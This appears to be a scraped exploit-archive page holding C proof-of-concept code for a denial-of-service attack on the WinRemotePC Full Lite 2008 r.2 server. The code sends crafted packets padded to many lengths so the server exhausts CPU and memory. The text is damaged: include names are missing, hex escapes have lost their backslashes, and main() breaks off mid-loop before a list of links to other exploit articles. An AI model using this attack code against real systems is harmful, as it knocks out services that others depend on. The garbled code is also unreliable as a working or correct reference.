#include
#include
#include
#include
#include
#include
#include
#include
#include
#define size 30000
#define tests 35
/*
****WinRemotePC Full Lite 2008 r.2server DOS(memory cpu consumption) vulnerability poc****
A vulnerability exists in WinRemotePC Full Lite 2008 r.2 server in the way it handles recieved packets because it
fails to properly process/sanitize arbitrarily lengths and/or invalid packets.The vulnerability occurs both before and
after login.When confrunted with such packets the server starts consuming full cpu and memory and sometims leads to
immediate crash.Although i couldn't find a packet pattern for immediate crash or exploitation the DOS is certain through
cpu memory consumption.If one of the memory or cpu events did not occur reruning the poc might fix that :D
Usage: ./dos [ip] [port]
WinRemotePC: /winremotepc.html
Discovey POC by Shinnok raydenxy [at] yahoo dot com
*/
/*The first packet sent by the client to the server when initiating a connection split between the "Service Pack n" string which will be replaced with the variable length long strings of A's.Although the server is vulnerable to this kind of dos without requiring to shoot out a partially valid packet it is more reliable for dos this way :)*/
char p1[]="x00x00x00x00xa7x01x00x00xa7x01x00x00x00xffx00x00xe4x2ex00x00x01x00x00x00x00x00x00x00x02x00x00x00x8fx41x82x7bx38xb1xe4x4ex9bx92xf5xc0xe5xf9xb9xd2x01x01x00x00x20x00x00x00x22xf4xc7x1fxf6x9ax5ex77x1bx42x73x70x42xdaxf0xd1x70x59xf8xf7x81xb7x97x0ax11xf2x4cx0cx3axbdx56xb9x20x00x00x00xa1xebx78xe2xbexebxb7x3ax33x8cxf4x1fxbdxbex21x9exf8x6bx20x2dx0fx1dx4bx3ex2dx55x5ex45xf6x8axedx4dx5fx00x00x00xe8x7cx1ax56xd0xa6xf8xefx09xeaxb6xc8x53xe2xc9xc9xcdx86x0bxa3x55x90xe6x4cx97xb6x38x4bxbcx5fxa4x29xa9x2dx1cxa1xa1x7bx1axbfx97x1ax88x55x1dx7exa4x2ex43xf7x57xd6x21x1ex9exa0x6fx4axd0x38xfaxe9x9ax50x8fxd0x43x88x9fxc8xb5x6fx09x1axcfx92x74x41x6bx87xe1xefxbcxe3xf0x99x09xb6x8dx85x0bx2exd3x3bx2ex94x00x00x00x05x00x00x00x01x00x00x00x28x0ax00x00x02x00x00x00";
char p2[]="x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x2ax00x00x00x30x31x2dx30x30x2dx36x46x32x45x30x31x37x30x2dx31x45x45x38x2dx34x34x33x36x2dx41x35x36x44x2dx30x44x35x33x39x38x39x36x46x30x31x35x02x00x00x00x30x3ax00x00x00x00x00x00x00x00x18x00x00x00x18x00x00x00x00xffx00x00xc4x13x00x00x02x00x00x00x00x00x00x00x04x00x00x00x01x00x00x00";
/*All kinds of A sizes to ensure the dos,starting with big ones at first to ensure that memory consumption occurs first and then dealing with the cpu issue.*/
int sizes[]={30000,29000,30000,127,128,255,256,511,512,1023,1024,2047,2048,3000,4000,5000,6000,7000,8000,9000,10000,11000,12000,13000,14000,15000,16000,17000,18000,19000,20000,21000,22000,23000,24000};
int main(int argc, char* argv[]){
struct sockaddr_in server;
int s,i,f;
char req[size];
char* buff;
for(i=0;i
【WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit】相关文章:
★ AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit
★ WEBSHELL箱子系统V1.0收信箱子代码漏洞分析及解决方法
★ eNdonesia 8.4 (Calendar Module) Remote SQL Injection Exploit
★ Arctic Issue Tracker 2.0.0 (index.php filter) SQL Injection Exploit
★ e107 Plugin BLOG Engine 2.2 Blind SQL Injection Exploit
★ IntelliTamper 2.07/2.08 Beta 4 A HREF Remote Buffer Overflow Exploit
★ https加密也被破解 HEIST攻击从加密数据获取明文